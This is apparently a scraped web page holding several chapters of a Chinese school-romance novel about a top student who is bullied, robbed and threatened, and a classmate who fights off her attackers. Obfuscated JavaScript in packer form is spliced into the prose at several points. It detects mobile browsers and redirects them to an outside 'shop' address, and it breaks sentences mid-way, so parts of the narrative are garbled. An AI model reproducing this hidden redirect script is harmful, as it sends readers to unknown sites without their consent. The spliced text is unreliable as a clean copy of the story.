跟董婉凝聊天的几个女生飞快地回了座位,董婉凝也转回身子坐好。 赵育芳拿着一张名单,说:“先点下名。” 新班级的第一节课例行班会。 名单是按成绩排的,第一个便是叶子,叶子喊到。 赵育芳一个一个名字点下去,人都来了,直到班主任喊到最后一个名字。 “韩山。” 叶子听到这个名字,惊讶了一下。 教室里无人响应。 叶子下意识回头看。 赵育芳抬眼,目光在教室里逡巡,“韩山。”她又点了一遍。 教室里有些躁动,分班第一天就有人迟到,胆子太大了吧。 教室里只剩一个空位,在最后一排靠窗的角落里。新班级的座位都是按人数分的,显然有个人还没来。 叶子转回头,不知为何心跳得飞快,他竟然也在这个班。 董婉凝看热闹不嫌事大,语意带着嘲讽,大声说了句:“估计又不知道在哪打了一晚上游戏,现在还没睡醒吧。” 叶子埋着头,只有她知道韩山昨晚喝了不少酒。白的混啤的。 韩山声名在外,赵育芳早就有所耳闻,也早就想亲自管教管教这个“不良少年”,她在名单上画了一笔,说:“正好,新教室百废待兴,缺个干活的,就让这个迟到的来吧。” 董婉凝幸灾乐祸地笑了。 赵育芳:“现在分下班务。咱班都有谁之前当过班长?举手。” 教室里举起孤零零一只手。 赵育芳:“就一个啊?那你继续当吧。你叫什么?” “张婧雅。” 赵育芳把每个职务都问了一遍,从之前当过的里面选,叶子没干过班务,置身事外看着书。 很快赵育芳问到了体委:“体委呢,举手。” 叶子知道韩山之前是体委,但他没来。她回头看了看,一个举手的都没有。 这个班是按成绩分的,大部分都是好学生,自然缺少体委。 赵育芳很意外:“一个都没有啊?” 董婉凝嗤笑一声:“老师,没来的那个之前是体委。” 赵育芳:“行吧。” 分完班务,劳委举手问教室卫生怎么安排,赵育芳说:“等那个迟到的来了,都让他干了就行。” 赵育芳开始强调班级纪律,尤其点名批评了董婉凝,“董婉凝,下午把你校服给我穿上!还有你那个头发,我说了几遍了?学校规定的是学生头!就像叶子那样的。” 叶子留的是标准的学生头,发尾不超过下巴。 董婉凝小声说:“知道了老师。” 赵育芳:“每回答应得挺好,就是不做,把我的话当耳旁风。” 董婉凝撇了撇嘴,默不作声。 赵育芳发现她和叶子挨着,蹙眉说:“你俩怎么坐一块了?” 董婉凝这时候开始装乖:“老师,是我自己要坐这的,我想跟叶子做好朋友。正好她学习好,听话守规矩,也能带动我。”她看向叶子,微笑说:“是不是啊叶子?” 叶子有点被恶心到。 赵育芳警告董婉凝:“你最好别给我惹事。” “对了。”赵育芳拿出一张奖状,“叶子,这有一张你的奖状,是学校为表扬你期中考试第一名特意颁发的。” 叶子没想到这还有奖状呢,十分惊喜,立刻上前接过奖状,如获珍宝。 这是对她两个多月以来努力的肯定。虽然没能摆脱董婉凝,但一切还是有意义的。 她看着奖状,眼睛亮晶晶的。 她不是第一次拿奖状,可那种苦尽甘来,努力终有回报的欣慰之感,无论多少次都宛如是第一次。 赵育芳:“下次考试咱班第一名我也有奖品,你们都要向叶子学习,卷起来。” 叶子被夸得有些脸红,小心翼翼把奖状夹在课本中。董婉凝翻了个白眼,不屑地嘁了一声。 这节课很快过去,后面课正常上,张婧雅把上课顺序写在黑板边上。 课间,叶子拿杯子去接水。 趁她不在,董婉凝来到她座位旁,从一摞书中抽出她夹奖状的那本,翻出奖状,把奖状拿在手里端详。 奖状中央大大的七个字,“期中考试第一名”,董婉凝看着刺眼,像撕一张废纸,神色散漫地将奖状撕成碎片,随手一扬,然后拿了杯子,去找张婧雅,“班长,你要接水吗,咱们一起去吧!” 张婧雅欣然起身,“好啊。” 碎片如雪花般飘落在地,课间,过道上学生们来来往往,踩着奖状的碎片经过。 叶子接完水回来的路上,正好碰到董婉凝和张婧雅拿着杯子去水房,董婉凝对她露出得意的笑容,她有种不祥的预感,连忙加快脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713079|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到教室。 叶子一眼就看到自己夹奖状的课本斜着放在一整摞书的最上面,心一坠,匆匆过去翻课本寻找。 她没找到奖状,突然注意到脚下有橘红色的碎片,茫然了一瞬,她捡起碎片,鼻子倏尔一酸。 她咬唇忍住眼泪,蹲在地上,一片片捡起奖状的碎片。 上课铃响了,同学们吵闹着进了教室,叶子仍不愿起身,一条又一条腿在她眼前经过,她捡起被无数只脚踩过的奖状碎片,肩膀剧烈颤抖。 董婉凝接水回来了,看到她蹲在地上捡碎片,勾了下唇角,事不关己坐在座位上。 她座位下刚好有一枚碎片,她故意用脚踩住,不让叶子捡。 叶子冷声说:“脚拿开。” 董婉凝不为所动,故作不知情地说:“你干嘛呢,上课了,老师马上来了。” 叶子:“我说脚拿开!” 董婉凝愣了一下,装模作样说道:“怎么,生气了?我好心提醒你你还生气?” “董婉凝!”叶子猛地站起来,手中攥着碎片,泪水在眼眶打转。 她这一声响亮,整个教室都安静了。董婉凝露出茫然无辜神色。叶子一把抓住董婉凝的手腕,将她从座位上拽起来,“你撕我奖状,敢不敢跟我到班主任那对峙?” 董婉凝莫名其妙看着她:“你有证据吗,凭什么说我撕了你的奖状?” 这时班里有男生议论起叶子,“我听说就是她之前偷了他们班里一个同学的钱,有五百块呢!咱们可得小心点。” 这一句飘到叶子耳朵里,她应激一般回过头,眼眶泛着红,“谁说的!我没有!” 那男生讥诮说:“没有你急什么?” 班里顿时乱了起来,都在议论叶子偷钱的事,董婉凝露出轻蔑的笑容。 叶子恍惚间回到了分班前,几乎一模一样的情景,仿佛鬼打墙一般,怎么逃都逃不开。 张婧雅站起来喊道:“安静!上课了!你们都没有证据,都闭嘴!” 这时英语老师走进来,见状迟疑了一下,“怎么了,快坐好,上课了。goodmorningclass!” 张婧雅喊道:“standup!” 全班站起来,说goodmorningteacher。 叶子死死攥着手里的碎片站在过道里,骨节毫无血色,她强忍着不让眼泪流下,眼圈通红。 英语老师是个温柔的女老师,叫韩英梅,说:“sitdownplease.” 全班坐下,董婉凝轻飘飘瞥了叶子一眼,用只有她们两个人能听见的声音说:“你看,没有人相信你。” 叶子没有坐,她的后槽牙都要被她咬碎了,指甲嵌进肉里,浑身颤抖。 韩英梅有些奇怪,关心地对叶子说:“这位同学,上课了,先坐下,有什么事下课说。” 可是叶子不甘心,凭什么? 为什么没有一个人为她主持公道,为什么她受了委屈只能咬碎牙往肚子里咽? 难道她整个高中三年都注定要活在董婉凝的阴影下无法逃脱吗? 同学们看乐子的眼神落在她身上,如芒在背。 她一腔愤恨,觉得在这里多待一秒都是煎熬,她抄起书包,向教室外跑去。 韩英梅:“同学!” 出教室门的时候,叶子跟姗姗来迟的韩山撞了个正着,差点鼻尖又磕到他的胸膛。 韩山蹙了下眉,侧身给她让道。 16. 伊斯坦堡【二更】 叶子怕被叫家长,不敢跑远,坐在学校看台上,止不住地哭,一边哭一边用胶带粘她的奖状。 奖状碎片被她攥得皱皱巴巴,她一点一点小心地展开,抚平。 但碎片没有捡齐,还有一些空缺,根本拼不上。 无力感包裹了她,她不知道接下来的两年多时间要怎么度过,内心迷茫。 冷风一波又一波吹过来,她鼻尖冻得通红,紧紧抱住书包,把脸埋进书包里。 教室里,同学们专注地上着英语课,叶子觉得天塌下来的事情,对其他人来说轻如鸿毛,很快就抛到脑后。 教室角落里的空位自然归了韩山,英语课是最犯困的,尤其还是前两节上的时候,尤其他昨晚还喝了酒。他今早头痛欲裂,差点没爬起来。 他趴在桌上补觉,校服外套盖在头上。 * 下课后,赵育芳找到了叶子,看到她手中皱皱巴巴用胶带缝合的奖状。 “谁干的?董婉凝?”赵育芳正色问。 叶子含泪点头。 赵育芳说:“行,我知道了。先回去上课吧。” 教室里,劳委陈勤勤拿着扫帚在韩山旁边徘徊,几次抬手想要拍他,却始终没敢拍,只嘴上弱弱地叫他:“喂,喂。” 韩山一动不动,身体随着呼吸微微起伏。 陈勤勤有些无措,不知道怎么办是好。她分班前就知道韩山这个人,不太敢招惹他。她个子矮,只是看到他就觉得很有压迫感。 而且她还听说他很会打架。 要是把他吵醒了挨揍怎么办? 她正发愁呢,赵育芳带着叶子从后门进来了,她仿佛看到救星,连忙过去给赵育芳指了指,“老师,叫不动啊。” 叶子与赵育芳的目光一同看去。 韩山趴在桌上,身子微微侧着,一条长腿折成九十度立在过道上,尤为显眼。 赵育芳对叶子说:“你先回去吧。” 叶子点了点头,回到座位坐下。董婉凝此时不在,她捡起她座位下的奖状碎片,吹了吹上面的灰尘,神色落寞。 赵育芳和陈勤勤一起走到韩山旁边,赵育芳一把掀了韩山头上的校服外套,“别睡了!起来干活!” 叶子好奇地转过头去,教室里所有人都在往那边瞧。他们都想看看这分班第一天就迟到的人会是怎样的下场。 韩山动了动,没起来。 赵育芳揪住他肩膀的衣服,“都迟到了还没睡醒?昨天晚上干嘛去了?再让我发现你睡觉你这个学期都站着上课!” 韩山被她拽了起来,坐直身子,一脸困倦地拨了拨头发。 赵育芳把陈勤勤手里的扫帚递给他,“趁着大课间,先把地扫了。” 韩山一言不发接过扫帚,站了起来。 叶子听见有女生说:“好高啊。” “还挺帅的。” 赵育芳抬头看着他,又说:“你这一头白毛,给我染回黑的,听见没?” 韩山慢吞吞弯腰扫地,不置可否。 赵育芳:“好好干哈,等会我检查。” 赵育芳走了之后,同学们陆续收回目光。董婉凝回来了,看到叶子,嘲笑说:“哟,我还以为你不上课了呢,这么快就回来了?” 叶子没理她,蹲下身寻找剩下的奖状碎片。 倒是韩山抬眸看她一眼。 董婉凝察觉到韩山的目光,有所忌惮,哼了一声,坐在座位上,没再往下说。 叶子做好了听她数落一通的准备,发觉头顶没声音了,还有些奇怪。 怎么就说了一句就停了,良心发现了? 韩山扫出了几枚叶子没捡到的奖状碎片,叶子看到,犹豫着不好意思过去捡。 这也太丢人了…… 她不知道韩山有没有看出那是她的奖状碎片,站在座位旁边,注视着他一排排扫过来。 扫到叶子座位时,叶子硬着头皮,蹲下身捡碎片。 她犹记得昨晚在火锅店与他四目相对的画面,尴尬得恨不得找个地缝钻进去。 韩山也没看她,拉开她的椅子,扫出她座位下的灰尘。 * 赵育芳让韩山放学留下擦玻璃,而叶子的惩罚还没结束,也得留下值日。 下课铃响了之后,同学们陆续离开,叶子站起来,往教室后面走。 这时韩山拿着抹布从后门进来,她看见他还没走,愣了一下。 按她之前观察到的,他放学后会先在楼下打会儿球,然后等兄弟们过来一起走。 韩山长腿踏上自己的椅子,动作利落地翻上窗台,开始擦玻璃。 叶子的目光不自觉在他身上停留,他本就高,上了窗台显得更高了,身体遮挡阳光,在教室里投下阴影,整个教室似乎都暗了几分。这样的视角下,叶子看他完全是仰视。 韩山打开窗户,一条腿踏在外面那一侧的窗台,身体侧过来,擦玻璃的另一面。 似乎感觉到她的目光,韩山不经意垂眸。 逆光看不清他的脸,叶子不知道他看了过来,没有立刻移开视线,阳光虚化了他的轮廓,将他的发梢照得闪闪发亮。 片刻韩山轻咳一声。 叶子一惊,猛地回过神来,脸颊渐渐热了起来,目光躲闪,窘迫地说:“那个……你、你小心点……”她逃似的拿了扫帚去扫地,一眼也不敢看韩山。 韩山目光在她身上停留片刻,神色淡淡挪开。 教室的地面韩山上午扫过一次,还算干净,叶子扫得比较轻松,扫完了又倒垃圾,拖地。 韩山今天没去打球,他的兄弟们找了过来,在教室外等他。 “哟,弥哥居然擦上窗户了,滋滋滋。” “还得是母夜叉。” ——赵育芳的外号。 叶子听见吵吵嚷嚷的声音,就知道是来找韩山的。 韩山干到一半,从窗台跳下,丢了抹布,拎上包走了。 叶子看他走了,慌忙加快速度,匆匆把地拖完,顾不上涮拖布,锁了门追上去。 她一路狂奔,跑得头发都乱了,终于在出校门之前追上了他。 她顺了顺刘海,大喘着气,停下来慢慢走,跟在他后面。 韩山和一大帮男生一起走,其中有猴子胖哥还有四眼他们,猴子回头看了一眼,露出坏笑,“弥哥。” 韩山不用回头就知道后面是谁,她跟了这么久,每次出现,都起哄声不断。 彪子一帮人蹲在校门口的花池子边上,虎视眈眈注视着叶子经过。 叶子跟了韩山多久,他们就蹲了叶子多久,他们等着叶子哪天没跟住韩山,形单影只了好出手,结果愣是等到了现在。 猴子碰碰韩山,小声说:“弥哥,你说这书呆子是怎么惹上黄毛的人的?” 韩山目视前方,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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董婉凝几乎脱口而出:“可她学习好啊!班主任见了我从来只会批评我不穿校服,染头发,但见了她……”她想起上午赵育芳给叶子奖状的画面,又羡慕又嫉妒。 董婉凝:“反正我就是看她不顺眼!她不就是多考了几分吗,凭什么那么傲啊,在之前班里就是,别的女生看到我都过来巴结我,跟我示好,就她对谁都爱答不理。” 董婉凝自己说烦了,“哎呀不说了!还不都是因为你们太菜打不过韩山,但凡你们打得过他,我也不用这么麻烦。” 阿天也挺委屈,“我的小祖宗啊,人家打架可是专业的!拿过世界级奖杯的!” 董婉凝:“我不管。你们要是不行,我就找同校高年级的去!我就不信学校里没一个打得过他的。” 董婉凝顿了顿,又说:“我也不信,学校里面叶子还能次次躲开。” * 夜里,叶子躺在床上,回想今天学校里发生的事,感到焦虑不安。 董婉凝都明晃晃坐她旁边了,以后委屈的事情一定只多不少。 还有学校门口蹲她的那些人,他们蹲了这么久都没蹲到,董婉凝一定不高兴,会另想办法。 以后她在学校的日子只会更难过。 叶子叹了口气,也不知道她到底哪里惹了董婉凝,让她这么针对她。 但是不管怎样,她不能因此影响学习。 而且她绝不能被记过,影响高考。 17. 星晴 这晚,叶子做了个噩梦。 梦里大雨倾盆,乌云将天空压得很低,她跟丢了韩山,被那群男生堵在死胡同,拳脚相加。 她彩色的伞倒在地上,她抱头打滚求饶,身上全是血,混着雨水往地上淌。 闪电划过,照亮漆黑夜幕,雷声轰鸣,世界萧条。 董婉凝不知何时也出现了,带着一群女生,大骂她是小偷,撕扯她的衣服,剪她的头发,舀污浊的雨水往她嘴里灌,拿摄像头拍她的脸,一边拍一边往网上传,笑声尖锐刺耳,神态猖狂。 混乱中,一道寒光闪过,有人掏出一把刀子—— 叶子猛然惊醒,满头大汗,呼吸久久不能平复。 她动了动身体,仿佛还有痛感。 窗外夜色深沉,离闹钟响起还有半个小时,临近冬至,天亮得越来越晚了。 叶子反复安慰自己梦是反的,忧心忡忡起了床,掏出政治课本,大声朗读:“富强、民主、文明、和谐,自由、平等、公正、法治,爱国、敬业、诚信、友善……1” * 今天叶子上学更加小心,绕路小跑到学校。 语文课上,赵育芳给叶子补发了一张新的奖状。 叶子感动得说不出话,拿着奖状的手微微颤抖。 赵育芳在讲台上说:“叶子期中考试年级第一,奖状是应得的,我不希望再看到有撕奖状这种事情发生。否则就只能把家长请来谈谈了。” 教室里有监控,谁撕的奖状一清二楚,赵育芳没指名道姓,却胜过指名道姓。 叶子鼻子微微发酸,只是这么一句话,她便觉得有人站在了她背后。 董婉凝气不过,斜眼睨着叶子。 韩山在教室最后一排的角落,百无聊赖托着腮,手上转着一根笔,神色寡淡地看着这一幕。 下课后,赵育芳把董婉凝叫走了,“董婉凝,跟我来一趟。” 董婉凝恶狠狠盯了叶子一眼,跟着赵育芳出了教室。 叶子注视她离开,却并没有大仇得报的快.感,反而更加忧心,是否会受到董婉凝更激烈的报复。 再上课时,董婉凝冷着脸回来了,一声不响坐在座位上,没看叶子一眼。 叶子感觉到身旁的低气压,浑身不自在,她下意识回头,看向教室角落的方向。 韩山坐在那里,戴着耳机听歌,上课铃响后他把耳机摘了放进桌膛,仿佛有所感应,不经意抬眸,对上她的眼。 叶子慌忙回首,心跳得飞快,她想,他也在这个班,董婉凝总不至于吧…… 下一瞬叶子为自己这个想法感到意外,这个时候,她的底气居然来自于他。 他们明明连一句完整的对话都没有,她却相信他会罩着她。 课间叶子去厕所的时候,一进门便被人擒住手腕,推到了窗边。 厕所门被反锁上,叶子还没反应过来,黑压压的人影从头顶笼下来。 董婉凝、宁小萌、沈娇娇,还有两个叶子不认识的女生,将她堵在窗前,姿态各异看着她,犹如看嘴边的羔羊。 为首的董婉凝一只手夹着烟,微微昂着头,唇角轻勾,神色傲慢又轻蔑。 烟雾在空气中蔓延。 梦中的画面与现实渐渐重叠,叶子意识到将要发生什么,脸色白了白,“你们干什么,这可是在学校!让开!” 叶子想走,被董婉凝一把推了回来,“怕了?” 叶子的腰撞上窗下的水管,痛得吸了口气。 董婉凝:“这就怕了?你不是挺傲的吗?” 四个女生齐上,踹打叶子,“就是你向老师告状?让你告!让你告!” 叶子尖叫一声,本能地蹲下来抱住头,蜷缩身体。 董婉凝唇边笑意更盛,看到叶子害怕狼狈的模样,她心里就舒畅多了。 董婉凝吐出一口烟圈:“叶子,别以为你学习好,受老师喜欢就了不起了,这世上不是所有事都按成绩说话。” 宁小萌薅住叶子的头发,使劲摇晃她的脑袋,“告啊!你接着去告啊!”她用力推开叶子的头,叶子头撞上墙,咬牙忍住痛楚。 女生们发出爆笑,沈娇娇上前去掏叶子的口袋,“我钱呢?” 叶子:“我没有拿你的钱!” 沈娇娇:“是吗,那就让我们一起搜搜呗?” “好啊!”三个女生齐声欢呼,一同上手,扒拉叶子的衣服,推搡拉扯她,掐她的大腿和胳膊。 叶子挣扎说:“别碰我!别碰我!” 董婉凝悠然抽着烟,十分享受这种不用动一根手指的感觉。 叶子:“董婉凝,你信不信我报警!” 董婉凝噗嗤一笑,肆无忌惮,狂傲地说:“报警?我们可是未成年!” 叶子死死捂住口袋,三个女生一起掰她的手和胳膊,沈娇娇从叶子口袋里掏出了她坐公交的零钱。 叶子慌忙要抢,被沈娇娇躲开,三个女生一同按住叶子。 “就这么点?穷鬼。”沈娇娇粗略看了一眼,转头把将这些零钱扔进便池中。 叶子猛地睁大双眼,目光破碎看着零钱掉入坑中,消失不见。 没了钱她就坐不了公交,倘若放学有人堵她…… 叶子紧紧攥着拳头,指甲几乎要将掌心刺破,红着眼睛,带着恨意倔强看着她们。 这时传来剧烈的拍门声和叫喊,女厕被无缘无故反锁,很多上厕所的女生堵在了外面。 董婉凝也怕惊动老师,不敢占用太多时间,她丢掉烟头,抓住叶子的头发,将她薅过来,笑着说:“今天呢,只是给你一个小小的教训,以后你要是再告老师,可就不止这么简单了。哦对,也别指望韩山罩着你,就算是一个班,我也有办法避开他的视线教训你,就像现在这样。走!”她推开叶子,带着四个女生洋洋洒洒离开了。 她们边走边议论:“就她?还指望韩山罩呢?也不照照镜子看看自己什么样!” “癞蛤蟆想吃天鹅肉,自不量力!” 叶子胸膛剧烈起伏,看着她们的背影,眼泪从眼角流下来。 厕所门打开,五个女生嬉笑着走出厕所,堵在厕所外的女生蜂拥而入。 叶子胡乱抹了把眼泪,不想让别人看到她这副模样。 董婉凝出了厕所,笑容很快凝滞了,韩山站在走廊里,背靠护栏,两只胳膊搭在栏杆上,以一种平静到冷漠的目光看着她。 她心头莫名一跳。 正值大课间,楼道里全是人,吵吵闹闹,韩山和几个男生说着话,很快移开了目光。 董婉凝却仍觉得心有余悸,他的眼神,似乎看透她刚才做了什么。 心中不由自主生出的忌惮感让她心烦气躁。 董婉凝,怕他干嘛,他算老几?她在心里对自己说。 董婉凝跟那四个女生不是一个班的,在分叉口挥手告别,她故意不看韩山,一脸傲气从教室前门进去了。 随后叶子也从厕所出来了,她看到韩山在楼道里,把头埋得低低的,飞快地进了教室。 上课铃响。 董婉凝的座位就在叶子旁边,叶子想忽视都难,强打精神,专心上接下来的课。 上课时候董婉凝也不放过她,把碎纸片揉成一个一个小球,趁老师不注意,扔向叶子,骚扰她。 纸球砸到叶子的头发,脸,不疼,但就像苍蝇一样招人烦。 叶子咬牙隐忍,不敢发作。 董婉凝单手支着头,看她明明受到干扰却忍气吞声,止不住笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713081|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对嘛,就这样,削削你的锐气。 叶子终于熬过了这一天,最后一节课的下课铃响起,同学们三两结伴放学回家。 叶子的惩罚还剩最后一周,她在座位上学习没动,等待人全部走光。 教室里很快空了下来,楼道里的人越来越少,整个楼层渐渐沉寂。 突然,叶子听到教室后面传来拖椅子的声音。 她下意识回头,韩山没走,把椅子拖到教室外,翻上窗台,又开始了擦玻璃。 叶子:…… 他们教室窗台很高,有一整面玻璃窗,昨天韩山擦了教室里面的玻璃,还有楼道这边的玻璃没擦。 空荡荡的教室,只有他们两个人,很快又安静下来。 叶子起身,去拿扫帚,从最后一排开始扫。 韩山座位底下很干净,放着一个篮球,叶子扫的时候多看了一眼,他的桌膛有一些零零碎碎和学习无关的东西,其中CD机的屏幕上滚动着一首歌名。 星晴-Jay 歌曲还在播放,CD机连着耳机。 叶子不止一次发现韩山听Jay的歌了,原来他也喜欢Jay吗,叶子心想。 叶子偷偷看了他一眼,他并没有注意她,懒懒擦着玻璃。她迅速扫过他的座位。 扫完地,叶子去水房涮墩布。 出教室时韩山目光不经意投向她,少女瘦小的背影拎着墩布,墩布杆比她还高。 他的抹布也该洗了,但她先去了,他就等会吧。 叶子拐过弯,水房在走廊尽头。 长长的楼道空无一人,只有叶子的脚步声,安静得有些诡异。 她值日快一个月,虽然往常这个点也没什么人了,但总还会有个别教室剩下几个值日生,偶尔还能在水房碰到,但这次,每个教室都闭灯锁门,竟然一个值日生也没有。 叶子没觉得自己今天干得比平时慢呀,难道他们都同时加速了? 经过楼梯口时,叶子嗅到空气中呛鼻的烟味,下意识停下脚步。 现在已经放学有一会儿了,谁在楼道抽烟? 墙边扔着几个还未熄灭的烟头,散发着丝丝缕缕的烟雾。以这烟味的浓淡程度,显示出不久前那人就在这里。叶子觉得奇怪,在楼梯扶手的空隙处上下看了看,却并没发现异样。 楼道静悄悄的,水房传来滴答滴答的水滴声,碎珠似的。 叶子只好作罢,进水房打开水龙头,把墩布放进水池中。沾了水的墩布变得重,她用力淘涮,耳边尽是水流的哗哗声。 水流声很好地掩盖了脚步声,她并不知道,几个男生从楼上下来,其中一个手里夹着烟。 直到他们踏入水房,叶子吓得一个激灵。 眼前四个流里流气的混混,领头的嘬了口烟,吐出烟雾。 看起来是高三的。 叶子心中警铃大作,顾不上把墩布涮干净,立刻关上水龙头,拿着墩布要走,却被他们堵住。 “小妹妹,别急着走啊,跟哥唠两句?”领头的吞云吐雾地说,语意带着调.戏,步步制造压迫,“长得还挺细皮嫩肉啊,说说,怎么欺负董婉凝的?” 叶子瘦削的小脸顿时白了,下意识后退,梦里的场景、厕所中的遭遇,在她脑海重现。 她脑中只有一个字:逃。她把墩布扔向他们,拔腿就跑。 男生们毫无防备,躲开墩布,“追。” 叶子冲出水房,拼了命往教室跑,双腿发软几次踉跄快要摔倒,男生们追出去,边追边喊:“站住!别跑!” 静谧的楼道荡出回音。 韩山此时擦完半边玻璃,从窗台跳下来,听到躁动声回眸。 叶子从拐角处跑出来,一把抓住他的衣服,躲到他身后。 18. 星晴 眼下什么情况,不用说韩山便知道。 他目光一冷,棱角分明的脸上更添锐利凌冽。 四个男生在韩山面前停住,最高的都比韩山矮半头,饶是人多,气势上也并没有压倒他。 韩山低头看了眼,叶子攥着他的衣服猫在他身后,露出个圆滚滚的脑袋,怯怯往外瞧,就像只受惊的小白兔。 他很想把她拎出来,问问她是如何断定他一定会帮她? 这可是在教学楼。 打架要挨罚的。 领头的男生率先开口,狂妄道:“姓韩是吧?我听说过你,在高一名气很大。我劝你别多管闲事,否则,挨揍的就是你。”他用夹烟的手指点了点他,模样不可一世。 叶子吞了口唾沫,他好大的口气。 他肯定不知道韩山的身手,否则一定会吓得恨不得从楼上跳下去。 韩山侧过脸笑了一下,第一次有人敢这么对他说话。 看来这架是非打不可了。 他抬眸看到房檐下的监控探头,正照着这里。 男生后面的跟班说:“喂,我大哥跟你说话呢,没听见啊?” 韩山转过身,轻轻送了叶子一下,对她说:“先进教室。” 叶子没有丝毫犹疑,从前门跑进教室,把门反锁上。 她相信他。 几个男生当即就要闯进后门,韩山一只手撑住门框,挡住了他们,“这就不礼貌了吧?” 叶子来到后门口,当着这几个男生的面,把后门也关上。 锁扣咔嗒一声锁住。 那大哥一把揪住韩山的衣领,“你啥意思啊?” “你啥意思啊?”韩山反问,一拳打在他脸上,将他打翻在地。 他捂着脸嗷嗷大叫。 剩下三个男生见状一齐向韩山攻来,韩山三拳两脚将他们全部放倒,他们痛得在地上打滚。 韩山轻抬下巴,眼神示意:不服再来。 四个男生一改刚才嚣张模样,手忙脚乱从地上爬起来,连个屁都不敢放,慌不择路地跑了。 韩山冷冷收回目光,抬手要扣门,叶子抢先一步把门打开了。 韩山扣门的手定格在空气中,慢慢放下。 叶子低着头,带着怯意,小声地说:“谢、谢谢……” 但这怯意与刚才不一样,不是害怕、畏惧,而是窘迫、羞赧。 那些人要揍的是她,她利用了他。 韩山一言不发看着她,目光冷沉,还有浅浅的怒意。 叶子忐忑极了,小声说:“墩布还在水房……我去拿……” 她想要逃,韩山反手将门关上,“没别的话要说吗?” 叶子脚步一顿,双手紧张地攥着自己的衣角,低头不敢看他。 韩山一步步向她逼近。 叶子无措地后退,被逼到了墙角。很神奇的,同样的逼近,她却并不觉得危险。她潜意识相信他不会伤害她。 教室里也是有监控的,就在他们头顶,这里恰好是死角。 他越来越近,叶子几乎能感觉到他身上的热量,她不适应,想往左走,韩山胳膊撑在墙上,挡住她。她想往右走,韩山再次将她挡住。她被韩山两只手臂圈在墙角这方寸之地。 她战战兢兢缩在墙角,不安地攥紧了衣角。 韩山微微塌下身,向她靠近,叶子嗅到他身上淡淡的洗衣粉香,柠檬味的。她偏过头,与他高挺的鼻梁保持距离,紧张缩着身子,屏住呼吸,一动也不敢动。 安静封闭的教室,只有叶子鼓擂般的心跳。 韩山语气散漫:“说说吧,啥意思,把我当保镖了?” 叶子眼圈和鼻尖微微泛红,有几分委屈,他是在怪她吗? 她垂下眼帘,嗫嚅说:“对不起……” 韩山:“几次了?” 叶子:“如果你是说我跟着你的事情……对不起,我真的没办法了……” 没有人会帮她,只有他能吓退他们。 韩山看了她片刻,她的刘海有些乱了,他抬手帮她顺了一下,“狐狸。” 叶子仿佛触电一般,身子一凛,含泪看他,杏眼波光潋滟。 韩山轻笑一声:“狐假虎威让你玩明白了。” 叶子声音颤抖,“可以吗?” “嗯?” 叶子飞快地做了心理斗争,鼓足勇气说:“可以请你当我的保镖吗?那只老虎。” 刚才她趴在窗前看到他打架的全过程,他是真有两下子,招招直击要害,根本不给对方还手之力。 她很是憧憬,如果他真的可以保护她,她便再也不用担心会被人欺负。抓着他衣服躲在他身后的那几秒,是她这段时间以来最安心踏实的时刻。 叶子渴求地看着他,等待他的回答。 韩山缓缓将两只手从墙上拿开,直起身,云淡风轻说:“我的雇佣费贵得很,你这个火锅妹可付不起。” 叶子默了默,有些失望,但她不想放弃,为自己争取说:“我确实没有钱,但我可以给你别的。” 韩山:“说说看。” 叶子:“我可以给你带早餐,给你作业抄。赵老师查作业很严的,你不写一定会挨罚。我还可以、还可以……如果你想学习的话,我可以帮你补习。”她绞尽了脑汁,可说出来的这些,她自己都觉得单薄。 韩山好笑地弯了弯唇:“你们学霸的世界真是简单。” 叶子:“或者你说你想要什么,我会努力办到的。” 这时,教室外传来脚步声,韩山的兄弟们来找他了,猴子探头往窗内看:“弥哥!” 韩山转身去座位收拾东西,叶子没有得到他的答案。 猴子看到韩山单独和叶子在教室里,露出坏笑,“哟,打扰你们二人世界啦?” 韩山快速收拾好东西便要走,他没有拿篮球,单肩背包,只拿了CD机。 叶子叫住他,“你玻璃还没擦完。” 很容易想,昨天他擦到一半就跑了,今天赵育芳检查肯定发现了,才让他接着擦。若今天再不擦完,赵育芳会更生气。 韩山:“管他呢。” 他打开后门走出去,猴子嬉笑说:“啥情况啊弥哥,我要有嫂子啦?” 韩山冷睨他一眼。 看他们吵吵闹闹走了,叶子连忙跑到水房把墩布拿回来放好,心想,明天早上再拖吧。 她把窗台上的抹布还有韩山的椅子搬回来放好,匆匆收拾好书包,去追他们。 叶子一如往常跟着他们出校门,她坐公交的钱被沈娇娇丢了,经过公交站台的时候神色微微消沉,继续跟着他们。 韩山注意到身后娇小的身影,她双手抓着书包肩带,怯生生的,像个小学生。 他有些好奇,今天怎么不坐公交了? 到了分岔路口,韩山和朋友们往网吧方向走,而叶子的家在另一个方向,路程在这开始产生分歧。 叶子犹豫了两秒,坚定跟上去。 虽然路上没有看见蹲她的可疑人员,但离家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 